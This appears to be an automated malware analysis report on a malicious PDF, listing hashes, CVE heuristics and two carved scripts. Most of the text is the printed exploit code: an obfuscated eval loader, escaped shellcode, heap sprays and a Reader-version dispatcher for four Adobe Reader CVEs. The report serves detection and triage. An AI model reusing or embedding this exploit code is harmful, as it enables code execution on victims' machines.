Malicious PDF — malware analysis report

Static analysis result for SHA-256 fe2ee8e1b7c9ba75…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 546215f56f1c44e512c9262edf201c4a SHA-1: b7cf67f70bf0ef7cd9e999b300f2e29856f5eeda SHA-256: fe2ee8e1b7c9ba754b2278dbdb2fc1ed22942c0334bee9d7958b8c9dd7269d6b
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB000 442 bytes
SHA-256: 24f7da0e50dbd01016cb3c5dbd6fa1227996e4c9c26552f73f2705ee0d7dc816
Preview script
First 1,000 lines of the extracted script
qsr='';
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
e('zgezi=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
yeqoi=e('String.fro'+zgezi.substr(1,9));
kbjhs = e(zgezi.substr(10)['rep'+'l'+('nsdnf','ace')](/u/g,','));
e('k=kbjhs.length');
for (i = 0; i < k; i+=2) {
	pwt = kbjhs[i+1] + ('erybjkerl',kbjhs[i]);
	qsr += yeqoi(pwt);
}
e(qsr);
legacy_pdfkit_stage_000.js deobfuscated-js metadata bmCharCode pair decoded JavaScript at offset 0x37 3654 bytes
SHA-256: 2f12b632cb4208ff17efc0dc98f6e4b2798d3afc7ab3645a1e09e1a9035fa127
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3cb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ub934%ue2aa%uc3fa%ue5e8%uffff%u50ff%ub8b5%ub9b9%u38e7%ue555%ub9b8%u30b9%u345e%ua9f6%ud634%u88ed%uee62%ueae8%ueaea%ueaea%ueaea%ueaec%ud1ea%ub8bd%ub9b9%uefec%ud1ea%ud7d6%ub9b9%uccd1%ud5cb%uedd4%u37d1%ub7f7%u5155%ub9f1%ub9b9%u51e9%ub9c5%ub9b9%u6946%u7d3a%ud1b1%u56f6%ubcf6%u51e9%ub9d5%ub9b9%u6946%u793c%uaecc%uedd3%u4ae0%ud113%u47cb%uaf0a%ua451%ub9b9%ue9b9%ue851%ub9b9%u46b9%uea69%u47d3%u30d1%ub8d6%u5104%ub9b1%ub9b9%u51e9%ub985%ub9b9%u6946%u88d9%udd79%ue932%u3289%ub5eb%ueb32%u32ad%u91cb%ua100%ub9b9%u88b9%u8846%u1579%ud885%ubbc5%u9995%u7678%ub8b4%u5b7e%u3849%ue246%uf305%u32d3%ua9fb%uab32%u60cc%ufd30%ua59d%u7ad8%u32d9%u9dd5%u329d%u85fc%ued32%uc1bc%u53b8%uf332%u32a1%u99e3%u52b8%u8d5a%u32f0%u328d%u57b8%u4688%u7988%u1545%u793d%ubecd%u7678%ub8b4%u527e%u824d%u9dc5%ucc91%u3258%u9de3%u52b8%u32df%uf2b5%ue332%ub8a5%u3252%u32bd%u51b8%ufd30%ua59d%u7bd8%ub9b1%u5651%u4647%ud146%ucdcd%u83c9%u9696%ud6dd%ud8d4%ud7d0%ud6d4%ud6cd%ud097%udfd7%u96d6%u97dd%ud1c9%u86c9%u84df%u808a%udc9f%u8c84%u00b9';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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